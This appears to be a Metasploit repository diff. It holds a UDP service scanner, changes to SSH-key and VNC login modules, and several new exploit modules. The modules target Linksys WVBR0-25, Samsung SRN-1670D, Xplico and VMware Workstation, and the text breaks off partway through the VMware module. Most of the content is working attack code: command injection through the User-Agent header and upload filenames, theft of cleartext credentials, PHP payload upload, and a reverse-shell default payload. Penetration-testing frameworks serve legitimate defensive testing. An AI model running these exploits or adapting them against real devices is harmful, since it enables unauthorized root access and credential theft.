xid, flags, quests, answers, auths, adds = head.unpack('n6')
return if quests != 0
return if answers == 0
qname = data.slice!(0,34)
rtype,rclass,rttl,rlen = data.slice!(0,10).unpack('nnNn')
buff = data.slice!(0,rlen)
names = []
case rtype
when 0x21
rcnt = buff.slice!(0,1).unpack("C")[0]
1.upto(rcnt) do
tname = buff.slice!(0,15).gsub(/\x00.*/, '').strip
ttype = buff.slice!(0,1).unpack("C")[0]
tflag = buff.slice!(0,2).unpack('n')[0]
names << [ tname, ttype, tflag ]
end
maddr = buff.slice!(0,6).unpack("C*").map{|c| "%.2x" % c }.join(":")
names.each do |name|
inf << name[0]
inf << ":<%.2x>" % name[1]
if (name[2] & 0x8000 == 0)
inf << ":U :"
else
inf << ":G :"
end
end
inf << maddr
if(names.length > 0)
hname = names[0][0]
end
end
@results[hkey] = true
when 111
app = 'Portmap'
buf = pkt[0]
inf = ""
hed = buf.slice!(0,24)
svc = []
while(buf.length >= 20)
rec = buf.slice!(0,20).unpack("N5")
svc << "#{rec[1]} v#{rec[2]} #{rec[3] == 0x06 ? "TCP" : "UDP"}(#{rec[4]})"
report_service(
:host => pkt[1],
:port => rec[4],
:proto => (rec[3] == 0x06 ? "tcp" : "udp"),
:name => "sunrpc",
:info => "#{rec[1]} v#{rec[2]}"
)
end
inf = svc.join(", ")
@results[hkey] = true
when 123
app = 'NTP'
ver = nil
ver = pkt[0].unpack('H*')[0]
ver = 'NTP v3' if (ver =~ /^1c06|^1c05/)
ver = 'NTP v4' if (ver =~ /^240304/)
ver = 'NTP v4 (unsynchronized)' if (ver =~ /^e40/)
ver = 'Microsoft NTP' if (ver =~ /^dc00|^dc0f/)
inf = ver if ver
@results[hkey] = true
when 1434
app = 'MSSQL'
mssql_ping_parse(pkt[0]).each_pair { |k,v|
inf += k+'='+v+' '
}
@results[hkey] = true
when 161
app = 'SNMP'
asn = OpenSSL::ASN1.decode(pkt[0]) rescue nil
return if not asn
snmp_error = asn.value[0].value rescue nil
snmp_comm = asn.value[1].value rescue nil
snmp_data = asn.value[2].value[3].value[0] rescue nil
snmp_oid = snmp_data.value[0].value rescue nil
snmp_info = snmp_data.value[1].value rescue nil
return if not (snmp_error and snmp_comm and snmp_data and snmp_oid and snmp_info)
snmp_info = snmp_info.to_s.gsub(/\s+/, ' ')
inf = snmp_info
com = snmp_comm
@results[hkey] = true
when 5093
app = 'Sentinel'
@results[hkey] = true
when 523
app = 'ibm-db2'
inf = db2disco_parse(pkt[0])
@results[hkey] = true
when 1604
app = 'citrix-ica'
return unless citrix_parse(pkt[0])
@results[hkey] = true
end
return unless inside_workspace_boundary?(pkt[1])
report_service(
:host => pkt[1],
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
:host_name => (hname) ? hname.downcase : nil,
:port => pkt[2],
:proto => 'udp',
:name => app,
:info => inf
)
print_good("Discovered #{app} on #{pkt[1]}:#{pkt[2]} (#{inf})")
end
#
# Parse a db2disco packet.
#
def db2disco_parse(data)
res = data.split("\x00")
"#{res[2]}_#{res[1]}"
end
#
# Validate a chargen packet.
#
def chargen_parse(data)
data =~ /ABCDEFGHIJKLMNOPQRSTUVWXYZ|0123456789/i
end
#
# Validate this is truly Citrix ICA; returns true or false.
#
def citrix_parse(data)
server_response = "\x30\x00\x02\x31\x02\xfd\xa8\xe3\x02\x00\x06\x44" # Server hello response
data =~ /^#{server_response}/
end
#
# Parse a 'ping' response and format as a hash
#
def mssql_ping_parse(data)
res = {}
var = nil
idx = data.index('ServerName')
return res if not idx
data[idx, data.length-idx].split(';').each do |d|
if (not var)
var = d
else
if (var.length > 0)
res[var] = d
var = nil
end
end
end
return res
end
#
# The probe definitions
#
def probe_chargen(ip)
pkt = Rex::Text.rand_text_alpha_lower(1)
return [pkt, 19]
end
def probe_pkt_dns(ip)
data = [rand(0xffff)].pack('n') +
"\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+
"\x07"+ "VERSION"+
"\x04"+ "BIND"+
"\x00\x00\x10\x00\x03"
return [data, 53]
end
def probe_pkt_netbios(ip)
data =
[rand(0xffff)].pack('n')+
"\x00\x00\x00\x01\x00\x00\x00\x00"+
"\x00\x00\x20\x43\x4b\x41\x41\x41"+
"\x41\x41\x41\x41\x41\x41\x41\x41"+
"\x41\x41\x41\x41\x41\x41\x41\x41"+
"\x41\x41\x41\x41\x41\x41\x41\x41"+
"\x41\x41\x41\x00\x00\x21\x00\x01"
return [data, 137]
end
def probe_pkt_portmap(ip)
data =
[
rand(0xffffffff), # XID
0, # Type
2, # RPC Version
100000, # Program ID
2, # Program Version
4, # Procedure
0, 0, # Credentials
0, 0, # Verifier
].pack('N*')
return [data, 111]
end
def probe_pkt_mssql(ip)
return ["\x02", 1434]
end
def probe_pkt_ntp(ip)
data =
"\xe3\x00\x04\xfa\x00\x01\x00\x00\x00\x01\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\xc5\x4f\x23\x4b\x71\xb1\x52\xf3"
return [data, 123]
end
def probe_pkt_sentinel(ip)
return ["\x7a\x00\x00\x00\x00\x00", 5093]
end
def probe_pkt_snmp1(ip)
version = 1
data = OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Integer(version - 1),
OpenSSL::ASN1::OctetString("public"),
OpenSSL::ASN1::Set.new([
OpenSSL::ASN1::Integer(rand(0x80000000)),
OpenSSL::ASN1::Integer(0),
OpenSSL::ASN1::Integer(0),
OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Sequence([
OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"),
OpenSSL::ASN1.Null(nil)
])
]),
], 0, :IMPLICIT)
]).to_der
[data, 161]
end
def probe_pkt_snmp2(ip)
version = 2
data = OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Integer(version - 1),
OpenSSL::ASN1::OctetString("public"),
OpenSSL::ASN1::Set.new([
OpenSSL::ASN1::Integer(rand(0x80000000)),
OpenSSL::ASN1::Integer(0),
OpenSSL::ASN1::Integer(0),
OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Sequence([
OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"),
OpenSSL::ASN1.Null(nil)
])
]),
], 0, :IMPLICIT)
]).to_der
[data, 161]
end
def probe_pkt_db2disco(ip)
data = "DB2GETADDR\x00SQL05000\x00"
[data, 523]
end
def probe_pkt_citrix(ip) # Server hello packet from citrix_published_bruteforce
data =
"\x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00"
return [data, 1604]
end
def probe_pkt_pca_st(ip)
return ["ST", 5632]
end
def probe_pkt_pca_nq(ip)
return ["NQ", 5632]
end
end

View File

@ -28,15 +28,11 @@ class MetasploitModule < Msf::Auxiliary
this module will record successful logins and hosts so you can
track your access.
Note that password-protected key files will not function with this
module -- it is designed specifically for unencrypted (passwordless)
keys.
Key files may be a single private (unencrypted) key, or several private
keys concatenated together as an ASCII text file. Non-key data should be
silently ignored.
Key files may be a single private key, or several private keys in a single
directory. Only a single passphrase is supported however, so it must either
be shared between subject keys or only belong to a single one.
},
'Author' => ['todb'],
'Author' => ['todb', 'RageLtMan'],
'License' => MSF_LICENSE
)
@ -44,6 +40,7 @@ class MetasploitModule < Msf::Auxiliary
[
Opt::RPORT(22),
OptPath.new('KEY_PATH', [true, 'Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped.']),
OptString.new('KEY_PASS', [false, 'Passphrase for SSH private key(s)']),
], self.class
)
@ -63,10 +60,6 @@ class MetasploitModule < Msf::Auxiliary
end
def key_dir
datastore['KEY_DIR']
end
def rport
datastore['RPORT']
end
@ -75,71 +68,6 @@ class MetasploitModule < Msf::Auxiliary
datastore['RHOST']
end
def read_keyfile(file)
if file == :keyfile_b64
keyfile = datastore['SSH_KEYFILE_B64'].unpack("m*").first
elsif file.kind_of? Array
keyfile = ''
file.each do |dir_entry|
next unless File.readable? dir_entry
keyfile << File.open(dir_entry, "rb") {|f| f.read(f.stat.size)}
end
else
keyfile = File.open(file, "rb") {|f| f.read(f.stat.size)}
end
keys = []
this_key = []
in_key = false
keyfile.split("\n").each do |line|
in_key = true if(line =~ /^-----BEGIN [RD]SA PRIVATE KEY-----/)
this_key << line if in_key
if(line =~ /^-----END [RD]SA PRIVATE KEY-----/)
in_key = false
keys << (this_key.join("\n") + "\n")
this_key = []
end
end
if keys.empty?
print_error "#{ip}:#{rport} SSH - No keys found."
end
return validate_keys(keys)
end
# Validates that the key isn't total garbage. Also throws out SSH2 keys --
# can't use 'em for Net::SSH.
def validate_keys(keys)
keepers = []
keys.each do |key|
# Needs a beginning
next unless key =~ /^-----BEGIN [RD]SA PRIVATE KEY-----\x0d?\x0a/m
# Needs an end
next unless key =~ /\n-----END [RD]SA PRIVATE KEY-----\x0d?\x0a?$/m
# Shouldn't have binary.
next unless key.scan(/[\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff]/).empty?
# Add more tests to taste.
keepers << key
end
if keepers.empty?
print_error "#{ip}:#{rport} SSH - No valid keys found"
end
return keepers
end
def pull_cleartext_keys(keys)
cleartext_keys = []
keys.each do |key|
next unless key
next if key =~ /Proc-Type:.*ENCRYPTED/
this_key = key.gsub(/\x0d/,"")
next if cleartext_keys.include? this_key
cleartext_keys << this_key
end
if cleartext_keys.empty?
print_error "#{ip}:#{rport} SSH - No valid cleartext keys found"
end
return cleartext_keys
end
def session_setup(result, ssh_socket, fingerprint)
return unless ssh_socket
@ -196,6 +124,7 @@ class MetasploitModule < Msf::Auxiliary
keys = KeyCollection.new(
key_path: datastore['KEY_PATH'],
password: datastore['KEY_PASS'],
user_file: datastore['USER_FILE'],
username: datastore['USERNAME'],
)
@ -289,7 +218,7 @@ class MetasploitModule < Msf::Auxiliary
end
def valid_key?(key_data)
!!(key_data.match(/BEGIN [RD]SA PRIVATE KEY/) && !key_data.match(/Proc-Type:.*ENCRYPTED/))
!!(key_data.match(/BEGIN [RECD]SA PRIVATE KEY/) && !key_data.match(/Proc-Type:.*ENCRYPTED/))
end
def each
@ -321,13 +250,7 @@ class MetasploitModule < Msf::Auxiliary
def read_key(filename)
@cache ||= {}
unless @cache[filename]
data = File.open(filename, 'rb') { |fd| fd.read(fd.stat.size) }
#if data.match
@cache[filename] = data
end
@cache[filename] ||= Net::SSH::KeyFactory.load_data_private_key(File.read(key_path), password, false, key_path).to_s
@cache[filename]
end

View File

@ -81,6 +81,9 @@ class MetasploitModule < Msf::Auxiliary
log_credential(password)
return
end
else
print_error("VNC handshake failed.")
return
end
disconnect
@ -92,6 +95,9 @@ class MetasploitModule < Msf::Auxiliary
log_credential(password)
return
end
else
print_error("VNC handshake failed.")
return
end
disconnect
@ -103,6 +109,9 @@ class MetasploitModule < Msf::Auxiliary
log_credential('')
return
end
else
print_error("VNC handshake failed.")
return
end
ensure

View File

@ -0,0 +1,118 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys WVBR0-25 User-Agent Command Execution',
'Description' => %q{
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie
cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41
of the web management portal via the User-Agent header. Authentication is not required to
exploit this vulnerability.
},
'Author' =>
[
'HeadlessZeke' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-17411'],
['ZDI', '17-973'],
['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']
],
'DisclosureDate' => 'Dec 13 2017',
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0
))
end
def check
check_str = rand_text_alpha(8)
begin
res = send_request_raw({
'method' => 'GET',
'uri' => '/',
'agent' => "\"; printf \"#{check_str}"
})
if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def exploit
print_status("#{peer} - Trying to access the device ...")
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
end
print_status("#{peer} - Exploiting...")
if datastore['PAYLOAD'] == 'cmd/unix/generic'
exploit_cmd
else
exploit_session
end
end
def exploit_cmd
beg_boundary = rand_text_alpha(8)
begin
res = send_request_raw({
'method' => 'GET',
'uri' => '/',
'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
})
if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
print_good("#{peer} - Command sent successfully")
if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line
print_status("#{peer} - Command output: #{$1}")
end
else
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
def exploit_session
begin
send_request_raw({
'method' => 'GET',
'uri' => '/',
'agent' => "\"; #{payload.encoded} #"
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

View File

@ -0,0 +1,209 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'digest'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Samsung SRN-1670D Web Viewer Version 1.0.0.193 Arbitrary File Read and Upload',
'Description' => %q{
This module exploits an unrestricted file upload vulnerability in
Web Viewer 1.0.0.193 on Samsung SRN-1670D devices. The network_ssl_upload.php file
allows remote authenticated attackers to upload and execute arbitrary
PHP code via a filename with a .php extension, which is then accessed via a
direct request to the file in the upload/ directory.
To authenticate for this attack, one can obtain web-interface credentials
in cleartext by leveraging the existing local file read vulnerability
referenced by CVE-2015-8279, which allows remote attackers to read the
web interface credentials by sending a request to:
cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI.
},
'Author' =>
[
'Omar Mezrag <omar.mezrag@realistic-security.com>', # @_0xFFFFFF
'Realistic Security',
'Algeria'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-16524' ],
[ 'URL', 'https://github.com/realistic-security/CVE-2017-16524' ],
[ 'CVE', '2015-8279' ],
[ 'URL', 'http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html' ]
],
'Privileged' => true,
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' =>
[
['Samsung SRN-1670D 1.0.0.193', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 14 2017'
))
end
def check
vprint_status('Checking version...')
resp = send_request_cgi({
'uri' => "/index",
'method' => 'GET'
})
unless resp
vprint_error('Connection timed out.')
return CheckCode::Unknown
end
# File Version 1.0.0.193
version = nil
if resp && resp.code == 200 && resp.body.match(/Web Viewer for Samsung NVR/)
if resp.body =~ /File Version (\d+\.\d+\.\d+\.\d+)/
version = $1
if version == '1.0.0.193'
vprint_good "Found vesrion: #{version}"
return CheckCode::Appears
end
end
end
CheckCode::Safe
end
def exploit
print_status('Obtaining credentails...')
resp = send_request_cgi({
'uri' => '/cslog_export.php',
'method' => 'GET',
'vars_get' =>
{
'path' => '/root/php_modules/lighttpd/sbin/userpw',
'file' => 'foo'
}
})
unless resp
print_error('Connection timed out.')
return
end
if resp && resp.code == 200 && resp.body !~ /Authentication is failed/ and resp.body !~ /File not found/
username = resp.body.split(':')[0]
password = resp.body.split(':')[1].gsub("\n",'')
print_good "Credentials obtained successfully: #{username}:#{password}"
data1 = Rex::Text.encode_base64("#{username}")
data2 = Digest::SHA256.hexdigest("#{password}")
randfloat = Random.new
data3 = randfloat.rand(0.9)
data4 = data3
print_status('Logging...')
resp = send_request_cgi({
'uri' => '/login',
'method' => 'POST',
'vars_post' =>
{
'data1' => data1,
'data2' => data2,
'data3' => data3,
'data4' => data4
},
'headers' =>
{
'DNT' => '1',
'Cookie' => 'IESEVEN=1'
}
})
unless resp
print_error("Connection timed out.")
return
end
if resp && resp.code == 200 && resp.body !~ /ID incorrecte/ && resp.body =~ /setCookie\('NVR_DATA1/
print_good('Authentication Succeeded')
nvr_d1 = $1 if resp.body =~ /setCookie\('NVR_DATA1', '(\d\.\d+)'/
nvr_d2 = $1 if resp.body =~ /setCookie\('NVR_DATA2', '(\d+)'/
nvr_d3 = $1 if resp.body =~ /setCookie\('NVR_DATA3', '(0x\h\h)'/
nvr_d4 = $1 if resp.body =~ /setCookie\('NVR_DATA4', '(0x\h\h)'/
nvr_d7 = $1 if resp.body =~ /setCookie\('NVR_DATA7', '(\d)'/
nvr_d8 = $1 if resp.body =~ /setCookie\('NVR_DATA8', '(\d)'/
nvr_d9 = $1 if resp.body =~ /setCookie\('NVR_DATA9', '(0x\h\h)'/
cookie = "IESEVEN=1; NVR_DATA1=#{nvr_d1}; NVR_DATA2=#{nvr_d2}; NVR_DATA3=#{nvr_d3}; NVR_DATA4=#{nvr_d4}; NVR_DATA7=#{nvr_d7}; NVR_DATA8=#{nvr_d8}; NVR_DATA9=#{nvr_d9}"
payload_name = "#{rand_text_alpha(8)}.php"
print_status("Generating payload[ #{payload_name} ]...")
php_payload = get_write_exec_payload(unlink_self: true)
print_status('Uploading payload...')
data = Rex::MIME::Message.new
data.add_part('2', nil, nil, 'form-data; name="is_apply"')
data.add_part('1', nil, nil, 'form-data; name="isInstall"')
data.add_part('0', nil, nil, 'form-data; name="isCertFlag"')
data.add_part(php_payload, 'application/x-httpd-php', nil, "form-data; name=\"attachFile\"; filename=\"#{payload_name}\"")
post_data = data.to_s
resp = send_request_cgi({
'uri' => normalize_uri('/network_ssl_upload.php'),
'method' => 'POST',
'vars_get' =>
{
'lang' => 'en'
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'data' => post_data
})
unless resp
print_error('Connection timed out.')
return
end
if resp and resp.code == 200
print_status('Executing payload...')
upload_uri = normalize_uri("/upload/#{payload_name}")
resp = send_request_cgi({
'uri' => upload_uri,
'method' => 'GET'
}, 5)
unless resp
print_error("Connection timed out.")
return
end
if resp and resp.code != 200
print_error("Failed to upload")
end
else
print_error("Failed to upload")
end
else
print_error("Authentication failed")
end
else
print_error "Error obtaining credentails"
end
end
end

View File

@ -0,0 +1,359 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Xplico Remote Code Execution',
'Description' => %q{
This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal
command under the context of the root user.
The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet
traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create
a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try
to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.
But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.
One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum
of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['CVE', '2017-16666'],
['URL', 'https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/'],
['URL', 'https://www.xplico.org/archives/1538']
],
'Privileged' => true,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'DefaultOptions' =>
{
'RPORT' => 9876
},
'Payload' =>
{
'Space' => 252,
'DisableNops' => true,
'BadChars' => "\x2f\x22",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat gawk', # other cmd payloads can't fit within 252 space due to badchars.
},
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Oct 29 2017',
'DefaultTarget' => 0
))
end
def check
# There is no exact way to understand validity of vulnerability without registering new user as well as trigger the command injection.
# which is not something we want to do for only check..!
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
)
if res && res.code == 302
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Unknown
end
end
def initiate_session
print_status('Initiating new session on server side')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
)
if res && res.code == 200
res.get_cookies
else
nil
end
end
def register_user(username, password)
# First thing first, we need to get csrf token from registration form.
print_status('Registering a new user')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
'cookie' => @cookie
)
if res && res.code == 200
csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
end
if csrf_token.nil? || fields.nil?
fail_with(Failure::Unknown, 'Unable to extact hidden fields from registration form.')
end
# rand_mail_address sometimes generates buggy email address for this app. So we manually generate email address in here.
email = ''
email << rand_text_alpha_lower(rand(10)+4)
email << '@'
email << rand_text_alpha_lower(rand(10)+4)
email << '.'
email << rand_text_alpha_lower(rand(1)+2)
# Create user
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[_Token][key]' => csrf_token,
'data[User][email]' => email,
'data[User][username]' => username,
'data[User][password]' => password,
'data[_Token][fields]' => fields,
'data[_Token][unlocked]' => '',
}
)
if res && res.code == 302
print_good('New user successfully registered')
print_status("Username: #{username}")
print_status("Password: #{password}")
else
fail_with(Failure::Unknown, 'Could not register new user')
end
# Awesome. We have user. We need to activate it manually..!
print_status('Calculating em_key code of the user')
unixtime = Time.parse(res.headers['Date']).to_i
password_md5 = Rex::Text.md5(password)
em_key = Rex::Text.md5(
"#{email}#{password_md5}#{unixtime}"
)
print_status("Activating user with em_key = #{em_key}")
# We need to follow redirections. Even if we managed to find em_key.
# It will redirect us to the login form. We need to see registration completed on final page.
res = send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'registerConfirm', em_key),
'cookie' => @cookie
)
if res && res.code == 200 && res.body.include?('Registration Completed.')
print_good('User successfully activated')
else
fail_with(Failure::Unknown, 'Could not activated our user. Target may not be vulnerable.')
end
end
def login(username, password)
# yet another csrf token gathering.
print_status('Authenticating with our activated new user')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
'cookie' => @cookie
)
if res && res.code == 200
csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
end
if csrf_token.nil? || fields.nil?
fail_with(Failure::Unknown, 'Unable to extact hidden fields from login form.')
end
res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[_Token][key]' => csrf_token,
'data[User][username]' => username,
'data[User][password]' => password,
'data[_Token][fields]' => fields,
'data[_Token][unlocked]' => '',
}
)
if res && res.body.include?('<a href="/pols">Cases</a>')
print_good('Successfully authenticated')
else
fail_with(Failure::Unknown, 'Unable to login.')
end
end
def create_new_case
# We logged in. Not we need to create a new xplico case.
print_status('Creating new case')
pol_name = rand_text_alpha_lower(rand(4)+8)
res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pols', 'add'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[Capture][Type]' => 0,
'data[Pol][name]' => pol_name,
'data[Pol][external_ref]' => '',
}
)
if res && res.body.include?('The Case has been created')
res.body.scan(/<a href="\/pols\/view\/([0-9]+)">/).flatten[0]
else
nil
end
end
def create_new_sol(pol_id)
# Since we xplico case, it's time to create a "session" for this case.
print_status('Creating new xplico session for pcap')
sol_name = rand_text_alpha_lower(rand(4)+8)
# sols/add endpoint reads selected case id through session.
# So we need to hit that end-point so we can insert pol_id into the current session data.
send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pols', 'view', pol_id),
'cookie' => @cookie,
)
# Creating new session.
res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'sols', 'add'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[Sol][name]' => sol_name,
}
)
if res && res.body.include?('The Session has been created')
res.body.scan(/<a href="\/sols\/view\/([0-9]+)">/).flatten[0]
else
nil
end
end
def upload_pcap(sol_id)
print_status('Uploading malformed PCAP file')
# We are hitting this end-point so we can access sol_id through session on server-side.
send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
'cookie' => @cookie,
)
# Reading malformed pcap files.
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-16666', 'dump.pcap')
fd = ::File.open( path, 'rb')
pcap = fd.read(fd.stat.size)
fd.close
data = Rex::MIME::Message.new
data.add_part('POST', nil, nil, 'form-data; name="_method"')
data.add_part(pcap, 'application/octet-stream', nil, "form-data; name=\"data[Sols][File]\"; filename=\"`#{payload.encoded})`\"") # Yes back-tick injection!
# Uploading PCAP file.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'sols', 'pcap'),
'cookie' => @cookie,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
if res && res.code == 302
print_good('PCAP successfully uploaded. Pcap parser is going to start on server side.')
end
# We can not wait all the day long to have session.
# So we are checking status of decoding process 5 times with sleep for a 1 second on each loop.
is_job_done = nil
counter = 0
until session_created? || !is_job_done.nil? || counter == 5
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
'cookie' => @cookie,
)
if res && res.body.include?('File uploaded, wait start decoding...')
print_status('Parsing has started. Wait for parser to get the job done...')
end
if res && res.body.include?('DECODING')
print_good('We are at PCAP decoding phase. Little bit more patience...')
end
# Tbh decoding process is not going to be finished as long as we have msf session.
# We are not going to see this case if we are successful exploiting.
if res && res.body.include?('DECODING COMPLETED')
print_warning('PCAP parsing process has finished. Haven\'t you got your shell ?')
is_job_done = 1
next
end
sleep(1)
counter += 1
end
end
def exploit
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable")
end
# We need to access cookie from everywhere. Thus making it global variable.
@cookie = initiate_session
if @cookie.nil?
fail_with(Failure::Unknown, 'Unable to initiate new sessionid on server.')
end
# We only need to access username and password for login func. Let's leave them as a local variables.
password = rand_text_alpha(32)
username = rand_text_alpha_lower(rand(8)+8)
register_user(username, password)
login(username, password)
# We will need to have pol_id for creating new xplico session.
pol_id = create_new_case
if pol_id.nil?
fail_with(Failure::Unknown, 'Unable to create New Case.')
end
print_good("New Case successfully creted. Our pol_id = #{pol_id}")
# Create xplico session by using pol_id
sol_id = create_new_sol(pol_id)
if sol_id.nil?
fail_with(Failure::Unknown, 'Unable to create New Sol.')
end
print_good("New Sols successfully creted. Our sol_id = #{sol_id}")
# Uploading malformed PCAP file. We are exploiting authenticated cmd inj in here.
upload_pcap(sol_id)
end
end

View File

@ -0,0 +1,261 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'VMware Workstation ALSA Config File Local Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in VMware Workstation Pro and
Player on Linux which allows users to escalate their privileges by
using an ALSA configuration file to load and execute a shared object
as root when launching a virtual machine with an attached sound card.
This module has been tested successfully on VMware Player version
12.5.0 on Debian Linux.
},
'References' =>
[
[ 'CVE', '2017-4915' ],
[ 'EDB', '42045' ],
[ 'BID', '98566' ],
[ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ]
],
'License' => MSF_LICENSE,
'Author' =>
[
'Jann Horn', # Discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'DisclosureDate' => 'May 22 2017',
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' =>
{
'Payload' => 'linux/x64/meterpreter_reverse_tcp',
'WfsDelay' => 30,
'PrependFork' => true
},
'DefaultTarget' => 1,
